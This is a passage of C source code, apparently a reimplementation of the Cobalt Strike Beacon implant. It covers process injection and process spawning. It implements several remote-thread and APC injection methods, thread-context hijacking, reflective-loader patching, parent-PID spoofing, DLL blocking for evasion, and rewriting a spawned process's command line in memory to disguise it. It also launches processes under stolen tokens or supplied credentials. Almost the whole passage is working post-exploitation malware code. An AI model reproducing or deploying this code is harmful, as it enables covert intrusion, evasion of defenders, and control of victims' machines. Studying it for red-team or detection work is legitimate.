FALSE;\n\n#if IS_X64()\n\tcontext.Rcx = (DWORD64)lpAddress;\n#else\n\tcontext.Eax = (DWORD)lpAddress;\n#endif\n\n\tif (!SetThreadContext(hThread, &context))\n\t\treturn FALSE;\n\n\treturn ResumeThread(hThread) != -1;\n}\n\nBOOL ExecuteViaSetThreadContext(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)\n{\n\tHANDLE hThread = injection->thread;\n\n#if IS_X64()\t\t\n\tif (!injection->isProcessX64)\n\t{\n\t\tWOW64_CONTEXT context;\n\t\tcontext.ContextFlags = CONTEXT_INTEGER;\n\n\t\tif (!Wow64GetThreadContext(hThread, &context))\n\t\t\treturn FALSE;\n\n\t\tcontext.Eax = (DWORD)lpStartAddress;\n\n\t\tif (!Wow64SetThreadContext(hThread, &context))\n\t\t\treturn FALSE;\n\t}\n\telse\n#endif\n\t{\n\t\tCONTEXT context;\n\t\tcontext.ContextFlags = CONTEXT_INTEGER;\n\n\t\tif (!GetThreadContext(hThread, &context))\n\t\t\treturn FALSE;\n\n#if IS_X64()\n\t\tcontext.Rcx = (DWORD64)lpStartAddress;\n\t\tcontext.Rdx = (DWORD64)lpParameter;\n#else\n\t\tcontext.Eax = (DWORD)lpStartAddress;\n#endif\n\n\t\tif (!SetThreadContext(hThread, &context))\n\t\t\treturn FALSE;\n\t}\n\n\treturn ResumeThread(hThread) != -1;\n}\n\nBOOL ExecuteViaCreateThread(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)\n{\n\treturn CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;\n}\n\nBOOL ExecuteInjection(INJECTION* injection, CHAR* lpStartAddress, DWORD offset, LPVOID lpParameter)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, S_PROCINJ_EXECUTE, 128);\n\n\tSHORT ordinal; CHAR* lpModuleName; CHAR* lpProcName;\n\twhile (char method = BeaconDataByte(&parser))\n\t{\n\t\tswitch (method)\n\t\t{\n\t\tcase METHOD_CREATE_REMOTE_THREAD:\n\t\t\tif (ExecuteViaCreateRemoteThread(injection->process, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_RTL_CREATE_USER_THREAD:\n\t\t\tif (ExecuteViaRtlCreateUserThread(injection->process, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_NT_QUEUE_APC_THREAD_S:\n\t\t\tif (!injection->isTemporary || !injection->isSameArchAsHostSystem)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaNtQueueApcThread_s(injection, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_CREATE_REMOTE_THREAD_S:\n\t\t\tordinal = BeaconDataShort(&parser);\n\t\t\tlpModuleName = BeaconDataStringPointer(&parser);\n\t\t\tlpProcName = BeaconDataStringPointer(&parser);\n\n\t\t\tif (!injection->isSameArchAsHostSystem)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_REMOTE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_CREATE_THREAD_S:\n\t\t\tordinal = BeaconDataShort(&parser);\n\t\t\tlpModuleName = BeaconDataStringPointer(&parser);\n\t\t\tlpProcName = BeaconDataStringPointer(&parser);\n\n\t\t\tif (!injection->isSamePid)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_NT_QUEUE_APC_THREAD:\n\t\t\tif (injection->isSamePid || !injection->isSameArchAsHostSystem || injection->isTemporary)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaNtQueueApcThread(injection, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_SET_THREAD_CONTEXT:\n\t\t\tif (!injection->isTemporary)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaSetThreadContext(injection, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tcase METHOD_CREATE_THREAD:\n\t\t\tif (!injection->isSamePid)\n\t\t\t\tcontinue;\n\n\t\t\tif (ExecuteViaCreateThread(injection, lpStartAddress + offset, lpParameter))\n\t\t\t\treturn TRUE;\n\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn FALSE;\n\t\t}\n\t}\n}\n\nvoid InjectAndExecute(INJECTION* injection, char* payload, int size, int pOffset, char* parameter)\n{\n\tchar* target;\n\tif (injection->isSamePid)\n\t\ttarget = InjectLocally(payload, size);\n\telse\n\t\ttarget = InjectRemotely(injection, payload, size);\n\n\tif (!target)\n\t\treturn;\n\n\tif (!ExecuteInjection(injection, target, pOffset, parameter))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not create remote thread in %d: %s\", injection->pid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_CREATE_REMOTE_THREAD_FAILED, injection->pid, lastError);\n\t}\n}\n\n#define REFLECTIVE_LOADER_SIZE 51200\nvoid BeaconInjectProcessInternal(PROCESS_INFORMATION* processInfo, HANDLE hProcess, int pid, char* payload, int pLen,\n\tint pOffset, char* str, int aLen)\n{\n\tINJECTION injection;\n\tinjection.pid = pid;\n\tinjection.process = hProcess;\n\tinjection.isX64 = IS_X64();\n\tinjection.isProcessX64 = IsProcess64Bit(hProcess);\n\tinjection.isSameArchAsHostSystem = injection.isProcessX64 == IS_X64();\n\tinjection.isSamePid = pid == GetCurrentProcessId();\n\tinjection.isTemporary = processInfo != NULL;\n\tinjection.thread = injection.isTemporary ? processInfo->hThread : NULL;\n\n\tPAYLOAD* maskedPayload = (PAYLOAD*)payload;\n\tif (pLen >= REFLECTIVE_LOADER_SIZE && maskedPayload->mzSignature == IMAGE_DOS_SIGNATURE && maskedPayload->smartInjectMagic == 0xF4F4F4F4)\n\t{\n\t\tif (injection.isSameArchAsHostSystem)\n\t\t{\n\t\t\tmaskedPayload->pGetProcAddress = GetProcAddress;\n\t\t\tmaskedPayload->pLoadLibraryA = LoadLibraryA;\n\t\t\tmaskedPayload->pVirtualAlloc = VirtualAlloc;\n\t\t\tmaskedPayload->pVirtualProtect = VirtualProtect;\n\n\t\t\tmaskedPayload->keyPtrMagic = 0xF00D;\n\t\t}\n\t}\n\n\tdatap parser;\n\tBeaconDataParse(&parser, IS_X64() ? S_PROCINJ_TRANSFORM_X64 : S_PROCINJ_TRANSFORM_X86, 256);\n\n\tint prependSize = BeaconDataInt(&parser);\n\tchar* prepend = BeaconDataPtr(&parser, prependSize);\n\n\tint appendSize = BeaconDataInt(&parser);\n\tchar* append = BeaconDataPtr(&parser, appendSize);\n\n\tchar* parameter;\n\tif (aLen <= 0)\n\t\tparameter = 0;\n\telse\n\t\tparameter = InjectRemotely(&injection, str, aLen);\n\n\tif (prependSize || appendSize)\n\t{\n\t\tformatp format;\n\t\tBeaconFormatAlloc(&format, prependSize + appendSize + pLen + 16);\n\t\tBeaconFormatAppend(&format, prepend, prependSize);\n\t\tBeaconFormatAppend(&format, payload, pLen);\n\t\tBeaconFormatAppend(&format, append, appendSize);\n\n\t\tpOffset += prependSize;\n\n\t\tpLen = BeaconFormatLength(&format);\n\t\tpayload = BeaconFormatOriginal(&format);\n\n\t\tInjectAndExecute(&injection, payload, pLen, pOffset, parameter);\n\t\tBeaconFormatFree(&format);\n\t}\n\telse\n\t{\n\t\tInjectAndExecute(&injection, payload, pLen, pOffset, parameter);\n\t}\n}\n\nBOOL gBlockDlls;\n\nvoid BlockDlls(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tgBlockDlls = BeaconDataInt(&parser) != 0;\n}\n\nLPPROC_THREAD_ATTRIBUTE_LIST ProcThreadAttributeListInit(DWORD dwAttributeCount)\n{\n\t// Initialize the process attribute list\n\tSIZE_T size = 0;\n\tInitializeProcThreadAttributeList(NULL, dwAttributeCount, 0, &size);\n\tHANDLE processHeap = GetProcessHeap();\n\tLPVOID attributeList = HeapAlloc(processHeap, 0, size);\n\tif (attributeList == NULL)\n\t\treturn FALSE;\n\n\tif (!InitializeProcThreadAttributeList(attributeList, dwAttributeCount, 0, &size))\n\t\treturn FALSE;\n\n\treturn attributeList;\n}\ntypedef struct _RUN_UNDER_CONTEXT {\n\tHANDLE handle;\n\tULONG64 processAttribute;\n\tUINT previousErrorMode;\n\tBOOL(WINAPI* updateProcessAttributes)(struct _RUN_UNDER_CONTEXT*, DWORD, LPPROC_THREAD_ATTRIBUTE_LIST, STARTUPINFO*);\n\tVOID(WINAPI* cleanup)(const struct _RUN_UNDER_CONTEXT*);\n} RUN_UNDER_CONTEXT, * PRUN_UNDER_CONTEXT;\nBOOL UpdateParentProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)\n{\n\t// Open the parent process with full access\n\tHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPid);\n\tif (hProcess == NULL)\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not set PID to %d: %s\", parentPid, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDD(ERROR_SET_PID_FAILED, parentPid, lastError);\n\t\treturn FALSE;\n\t}\n\n\t// Store the handle to the parent process\n\tcontext->handle = hProcess;\n\n\t// Update the process attribute list\n\tif (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not update process attribute: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\tif (si->hStdOutput && si->hStdError && si->hStdOutput == si->hStdError)\n\t{\n\t\tDuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);\n\t\tsi->hStdError = si->hStdOutput;\n\t}\n\telse\n\t{\n\t\tif (si->hStdOutput)\n\t\t{\n\t\t\tDuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);\n\t\t}\n\n\t\tif (si->hStdError)\n\t\t{\n\t\t\tDuplicateHandle(GetCurrentProcess(), si->hStdError, hProcess, &si->hStdError, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);\n\t\t}\n\t}\n\n\treturn TRUE;\n}\nvoid CleanupParentProcessContext(PRUN_UNDER_CONTEXT context)\n{\n\tCloseHandle(context->handle);\n}\nPRUN_UNDER_CONTEXT ParentProcessContextInit(PRUN_UNDER_CONTEXT\tcontext)\n{\n\tcontext->handle = INVALID_HANDLE_VALUE;\n\tcontext->updateProcessAttributes = UpdateParentProcessContext;\n\tcontext->cleanup = CleanupParentProcessContext;\n\treturn context;\n}\n\nPRUN_UNDER_CONTEXT UpdateChildProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)\n{\n\t// Set the process attribute for the child process\n\tcontext->processAttribute = 0x100000000000; // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS\n\tif (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &context->processAttribute, sizeof(context->processAttribute), NULL, NULL))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not update process attribute: %s\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\t// Set the error mode to prevent error dialogs\n\tif (&SetErrorMode)\n\t\tcontext->previousErrorMode = SetErrorMode(SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS);\n\n\treturn TRUE;\n}\n\nvoid CleanupChildProcessContext(PRUN_UNDER_CONTEXT context)\n{\n\t// Restore the error mode\n\tif (&SetErrorMode)\n\t\tSetErrorMode(context->previousErrorMode);\n}\n\nPRUN_UNDER_CONTEXT ChildProcessContextInit(PRUN_UNDER_CONTEXT context)\n{\n\tcontext->updateProcessAttributes = UpdateChildProcessContext;\n\tcontext->cleanup = CleanupChildProcessContext;\n\treturn context;\n}\n\ntypedef struct _RUN_UNDER_CONFIG\n{\n\tchar* cmd;\n\tint cmdLength;\n\tSTARTUPINFO* startupInfo;\n\tPROCESS_INFORMATION* processInfo;\n\tint creationFlags;\n\tBOOL ignoreToken;\n} RUN_UNDER_CONFIG;\n\nvoid ProcThreadAttributeListDestroy(LPVOID lpAttributeList)\n{\n\tDeleteProcThreadAttributeList(lpAttributeList);\n\tHeapFree(GetProcessHeap(), 0, lpAttributeList);\n}\n\n/**\n * @brief Adjusts the command line of a process by replacing it with a new one.\n *\n * This function is used for adjusting the command line of a process by allocating a new buffer,\n * converting the new command to wide characters, and writing it to the process memory.\n */\nBOOL ProcessCmdAdjust(PROCESS_INFORMATION* processInfo, EXPANDED_CMD* cmds) {\n\tif(!IsProcess64Bit(processInfo->hProcess))\n\t{\n\t\tLERROR(\"x64 Beacon cannot adjust arguments in x86 process\");\n\t\tBeaconErrorNA(ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED);\n\t\treturn FALSE;\n\t}\n\n\tCONTEXT ctx;\n\tctx.ContextFlags = CONTEXT_INTEGER;\n\n\tif (!GetThreadContext(processInfo->hThread, &ctx))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust arguments in process: %s - Reason: Could not get thread context\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n#if IS_X64()\n\t// Use RDX\n\tDWORD64 reg = ctx.Rdx;\n#else\n\t// Use EBX\n\tDWORD64 reg = ctx.Ebx;\n#endif\n\n\tconst PEB* peb = (PEB*)reg;\n\tRTL_USER_PROCESS_PARAMETERS processParameters;\n\tif(!ReadProcessMemory(processInfo->hProcess, &peb->ProcessParameters, &processParameters, sizeof(peb->ProcessParameters), NULL))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust arguments in process: %s - Reason: Could not read process parameters\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\tUNICODE_STRING commandLine = { 0 };\n\tif(!ReadProcessMemory(processInfo->hProcess, &processParameters.CommandLine, &commandLine, sizeof(commandLine), NULL))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust arguments in process: %s - Reason: Could not read command line\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\tDWORD flOldProtect;\n\tif (!VirtualProtectEx(processInfo->hProcess, commandLine.Buffer, commandLine.MaximumLength, PAGE_READWRITE, &flOldProtect))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust arguments in process: %s - Reason: Could not adjust permissions\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);\n\t\treturn FALSE;\n\t}\n\n\t// FIXME: I do not understand why is this freed just only when an error occurs... I'm not sure if this is purposeful or not. Maybe a memory leak?\n\tWCHAR* newCmd = malloc(commandLine.MaximumLength);\n\tmemset(newCmd, 0, commandLine.MaximumLength);\n\n\tif (!toWideChar(cmds->cmd, newCmd, commandLine.MaximumLength / sizeof(WCHAR)))\n\t{\n\t\tLERROR(\"Real arguments are longer than fake arguments.\");\n\t\tBeaconErrorNA(ERROR_REAL_FAKE_ARGS_NO_MATCH);\n\n\t\tgoto cleanup;\n\t}\n\n\tSIZE_T wrote;\n\tif(!WriteProcessMemory(processInfo->hProcess, commandLine.Buffer, newCmd, commandLine.MaximumLength, &wrote))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not adjust arguments in process: %s - Reason: Could not write new command line\", LAST_ERROR_STR(lastError));\n\t\tBeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);\n\n\t\tgoto cleanup;\n\t}\n\n\treturn TRUE;\n\n\tcleanup:\n\t\tfree(newCmd);\n\t\treturn FALSE;\n}\n\nBOOL SpawnProcessWithLogon(RUN_UNDER_CONFIG* runUnderConfig, WCHAR* cmd, const WCHAR* currentDirectory)\n{\n\tif (!CreateProcessWithLogonW(\n\t\tgIdentityUsername,\n\t\tgIdentityDomain,\n\t\tgIdentityPassword,\n\t\tLOGON_NETCREDENTIALS_ONLY,\n\t\tNULL,\n\t\tcmd,\n\t\trunUnderConfig->creationFlags,\n\t\tNULL,\n\t\tcurrentDirectory,\n\t\trunUnderConfig->startupInfo,\n\t\trunUnderConfig->processInfo))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not spawn %s (token&creds): %s\", execution->cmd, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDS(ERROR_SPAWN_TOKEN_AND_CREDS, lastError, runUnderConfig->cmd);\n\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n\nBOOL  SpawnProcessWithTokenOrLogon(RUN_UNDER_CONFIG* runUnderConfig)\n{\n\tint type;\n\tWCHAR cmd[1024] = { 0 };\n\tWCHAR buffer[1024] = { 0 };\n\n\trunUnderConfig->startupInfo->lpDesktop = 0;\n\tconst WCHAR* lpCurrentDirectory = NULL;\n\tif (toWideChar(runUnderConfig->cmd, cmd, sizeof(cmd)/sizeof(WCHAR)))\n\t{\n\t\tif (GetCurrentDirectoryW(0, 0) < sizeof(cmd) / sizeof(WCHAR))\n\t\t{\n\t\t\tGetCurrentDirectoryW(sizeof(cmd) / sizeof(WCHAR), buffer);\n\t\t\tlpCurrentDirectory = buffer;\n\t\t}\n\t\tif (CreateProcessWithTokenW(\n\t\t\tgIdentityToken,\n\t\t\tLOGON_NETCREDENTIALS_ONLY,\n\t\t\tNULL,\n\t\t\tcmd,\n\t\t\trunUnderConfig->creationFlags,\n\t\t\tNULL,\n\t\t\tlpCurrentDirectory,\n\t\t\trunUnderConfig->startupInfo,\n\t\t\trunUnderConfig->processInfo))\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tDWORD lastError = GetLastError();\n\t\tif (lastError == ERROR_PRIVILEGE_NOT_HELD\n\t\t\t&& CreateProcessWithLogonW && gIdentityIsLoggedIn == TRUE)\n\t\t\treturn SpawnProcessWithLogon(runUnderConfig, cmd, lpCurrentDirectory);\n\n\t\tif (lastError == ERROR_INVALID_PARAMETER\n\t\t\t&& runUnderConfig->startupInfo->cb == sizeof(STARTUPINFOEXA) && CreateProcessWithLogonW)\n\t\t{\n\t\t\tLERROR(\"Could not spawn %s (token) with extended startup information. Reset ppid, disable blockdlls, or rev2self to drop your token.\", runUnderConfig->cmd);\n\t\t\ttype = ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tLERROR(\"Could not spawn %s (token): %s\", runUnderConfig->cmd, LAST_ERROR_STR(lastError));\n\t\t\ttype = ERROR_SPAWN_PROCESS_AS_USER_FAILED;\n\t\t}\n\t\tBeaconErrorDS(type, lastError, runUnderConfig->cmd);\n\t}\n\telse\n\t{\n\t\tLERROR(\"Could not run command(w / token) because of its length of %d\", runUnderConfig->cmdLength);\n\t\tBeaconErrorD(ERROR_LENGTHY_WIDECHAR_COMMAND, runUnderConfig->cmdLength);\n\t}\n\n\treturn FALSE;\n}\n\nBOOL SpawnProcess(RUN_UNDER_CONFIG* execution)\n{\n\tint lastError;\n\n\tif (!gIdentityToken || execution->ignoreToken)\n\t{\n\t\tif (!CreateProcessA(\n\t\t\tNULL,\n\t\t\texecution->cmd,\n\t\t\tNULL,\n\t\t\tNULL,\n\t\t\tTRUE,\n\t\t\texecution->creationFlags,\n\t\t\tNULL,\n\t\t\tNULL,\n\t\t\texecution->startupInfo,\n\t\t\texecution->processInfo))\n\t\t{\n\t\t\tlastError = GetLastError();\n\t\t\tLERROR(\"Could not spawn %s: %s\", execution->cmd, LAST_ERROR_STR(lastError));\n\t\t\tBeaconErrorDS(ERROR_SPAWN_PROCESS_FAILED, lastError, execution->cmd);\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse if (!CreateProcessAsUserA(\n\t\tgIdentityToken,\n\t\tNULL,\n\t\texecution->cmd,\n\t\tNULL,\n\t\tNULL,\n\t\tTRUE,\n\t\texecution->creationFlags,\n\t\tNULL,\n\t\tNULL,\n\t\texecution->startupInfo,\n\t\texecution->processInfo))\n\t{\n\t\tlastError = GetLastError();\n\t\tif (lastError == ERROR_PRIVILEGE_NOT_HELD && CreateProcessWithTokenW)\n\t\t{\n\t\t\tLWARNING(\"Could not spawn %s (token): %s\", execution->cmd, LAST_ERROR_STR(lastError));\n\t\t\treturn SpawnProcessWithTokenOrLogon(execution);\n\t\t}\n\n\t\tLERROR(\"Could not spawn %s (token): %s\", execution->cmd, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorDS(ERROR_SPAWN_PROCESS_AS_USER_FAILED, lastError, execution->cmd);\n\t\treturn FALSE;\n\t}\n\treturn TRUE;\n}\n\nBOOL RunAsUserInternal(LPCCH domain, LPCCH username, LPCCH password, LPCCH cmd, int creationFlags, LPPROCESS_INFORMATION lpProcessInfo)\n{\n\tdatap* parser = BeaconDataAlloc(0xA000);\n\tWCHAR* lpCommandLine = BeaconDataPtr(parser, 0x4000);\n\tWCHAR* lpDomain = BeaconDataPtr(parser, 0x400);\n\tWCHAR* lpUsername = BeaconDataPtr(parser, 0x400);\n\tWCHAR* lpPassword = BeaconDataPtr(parser, 0x400);\n\tWCHAR* lpCurrentDirectory = BeaconDataPtr(parser, 0x400);\n\n\tSTARTUPINFOA si = { sizeof(si) };\n\t*lpProcessInfo = { 0 };\n\n\tGetStartupInfoA(&si);\n\tsi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\n\tsi.wShowWindow = SW_HIDE;\n\tsi.hStdInput = 0;\n\tsi.hStdOutput = 0;\n\tsi.hStdError = 0;\n\tsi.lpDesktop = NULL;\n\n\ttoWideChar(cmd, lpCommandLine, 0x4000);\n\ttoWideChar(domain, lpDomain, 0x400);\n\ttoWideChar(username, lpUsername, 0x400);\n\ttoWideChar(password, lpPassword, 0x400);\n\n\tif (GetCurrentDirectoryW(0, 0) < 0x400)\n\t{\n\t\tGetCurrentDirectoryW(0x400, lpCurrentDirectory);\n\t}\n\n\tBOOL result = TRUE;\n\tif (!CreateProcessWithLogonW(\n\t\tlpUsername,\n\t\tlpDomain,\n\t\tlpPassword,\n\t\tLOGON_WITH_PROFILE,\n\t\tNULL,\n\t\tlpCommandLine,\n\t\tcreationFlags | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,\n\t\tNULL,\n\t\tlpCurrentDirectory,\n\t\t(LPSTARTUPINFOW)&si,\n\t\tlpProcessInfo))\n\t{\n\t\tDWORD lastError = GetLastError();\n\t\tLERROR(\"Could not run %s as %s\\\\%s: %s\", cmd, domain, username, LAST_ERROR_STR(lastError));\n\t\tBeaconErrorPrintf(ERROR_RUN_AS_USER_FAILED, \"%s as %s\\\\%s: %d\", cmd, domain, username, lastError);\n\t\tresult = FALSE;\n\t}\n\n\tBeaconDataFree(parser);\n\treturn result;\n}\n\nvoid RunAsUser(char* buffer, int length)\n{\n\tdatap* locals = BeaconDataAlloc(0x4C00);\n\tchar* cmd = BeaconDataPtr(locals, 0x4000);\n\tchar* domain = BeaconDataPtr(locals, 0x400);\n\tchar* username = BeaconDataPtr(locals, 0x400);\n\tchar* password = BeaconDataPtr(locals, 0x400);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\n\tif(!BeaconDataStringCopySafe(&parser, cmd, 0x4000))\n\t\tgoto cleanup;\n\n\tif (!BeaconDataStringCopySafe(&parser, domain, 0x400))\n\t\tgoto cleanup;\n\n\tif (!BeaconDataStringCopySafe(&parser, username, 0x400))\n\t\tgoto cleanup;\n\n\tif (!BeaconDataStringCopySafe(&parser, password, 0x400))\n\t\tgoto cleanup;\n\n\tIdentityRevertToken();\n\tPROCESS_INFORMATION pi;\n\tRunAsUserInternal(domain, username, password, cmd, 0, &pi);\n\tIdentityImpersonateToken();\n\tBeaconCleanupProcess(&pi);\n\n\tcleanup:\n\tBeaconDataFree(locals);\n}\n\nBOOL RunProcessWithAdjustedCmd(RUN_UNDER_CONFIG* execution)\n{\n\tEXPANDED_CMD cmds;\n\n\tif ((execution->creationFlags & CREATE_SUSPENDED) != 0 || ArgumentFindMatch(&cmds, execution->cmd) == FALSE)\n\t\treturn SpawnProcess(execution);\n\n\texecution->creationFlags |= CREATE_SUSPENDED;\n\texecution->cmd = cmds.fullCmd;\n\tBOOL result = SpawnProcess(execution);\n\tconst BOOL couldAdjust = ProcessCmdAdjust(execution->processInfo, &cmds);\n\tif (couldAdjust)\n\t{\n\t\tResumeThread(execution->processInfo->hThread);\n\t}\n\telse\n\t{\n\t\tTerminateProcess(execution->processInfo->hProcess, 0);\n\t\tresult = FALSE;\n\t}\n\n\treturn result;\n}\n\nBOOL RunUnder_(RUN_UNDER_CONFIG* runUnderConfig, int parentPid)\n{\n\n\tDWORD count = 0;\n\tif (parentPid)\n\t\tcount++;\n\n\tif (gBlockDlls)\n\t\tcount++;\n\n\tif (count == 0)\n\t\treturn RunProcessWithAdjustedCmd(runUnderConfig);\n\n\tconst PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = ProcThreadAttributeListInit(count);\n\n\tRUN_UNDER_CONTEXT context;\n\tRUN_UNDER_CONTEXT parentContext = *ParentProcessContextInit(&context);\n\tRUN_UNDER_CONTEXT childContext = *ChildProcessContextInit(&context);\n\n\tBOOL result = FALSE;\n\n\tif (!parentPid || parentContext.updateProcessAttributes(\n\t\t&parentContext,\n\t\tparentPid,\n\t\tlpAttributeList,\n\t\trunUnderConfig->startupInfo))\n\t{\n\t\tif (!gBlockDlls\n\t\t\t|| childContext.updateProcessAttributes(&childContext, parentPid, lpAttributeList, runUnderConfig->startupInfo))\n\t\t{\n\t\t\tSTARTUPINFOEXA si_;\n\t\t\tsi_.StartupInfo = *runUnderConfig->startupInfo;\n\t\t\tsi_.StartupInfo.cb = sizeof(STARTUPINFOEXA);\n\t\t\tsi_.lpAttributeList = lpAttributeList;\n\t\t\trunUnderConfig->startupInfo = &si_;\n\t\t\trunUnderConfig->creationFlags |= EXTENDED_STARTUPINFO_PRESENT;\n\n\t\t\tresult = RunProcessWithAdjustedCmd(runUnderConfig);\n\n\t\t\tif (parentPid)\n\t\t\t\tparentContext.cleanup(&parentContext);\n\n\t\t\tif (gBlockDlls)\n\t\t\t\tchildContext.cleanup(&childContext);\n\t\t}\n\t}\n\n\tProcThreadAttributeListDestroy(lpAttributeList);\n\n\treturn result;\n}\n\nBOOL RunUnder(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken, int parentPid)\n{\n\tRUN_UNDER_CONFIG runUnderConfig = { cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken };\n\treturn RunUnder_(&runUnderConfig, 0);\n}\n\n\nBOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken)\n{\n\treturn RunUnder(cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken, gParentPid);\n}\n\nvoid RunUnderPid(char* buffer, int length)\n{\n\tSTARTUPINFOA si = { sizeof(si) };\n\tPROCESS_INFORMATION pi = { 0 };\n\tGetStartupInfoA(&si);\n\tsi.wShowWindow = SW_HIDE;\n\tsi.hStdInput = 0;\n\tsi.hStdOutput = 0;\n\tsi.hStdError = 0;\n\tsi.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\n\n#define MAX_CMD 0x2000\n\tdatap* locals = BeaconDataAlloc(MAX_CMD);\n\tchar* cmd = BeaconDataPtr(locals, MAX_CMD);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint pid = BeaconDataInt(&parser);\n\tBeaconDataStringCopySafe(&parser, cmd, MAX_CMD);\n\tRunUnder(cmd, strlen(cmd), &si, &pi, CREATE_NEW_CONSOLE, FALSE, pid);\n\tBeaconCleanupProcess(&pi);\n\n\tBeaconDataFree(locals);\n}\n\nvoid BeaconInjectProcess(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)\n{\n\tBeaconInjectProcessInternal(NULL, hProcess, pid, payload, p_len, p_offset, arg, a_len);\n}\n\nvoid   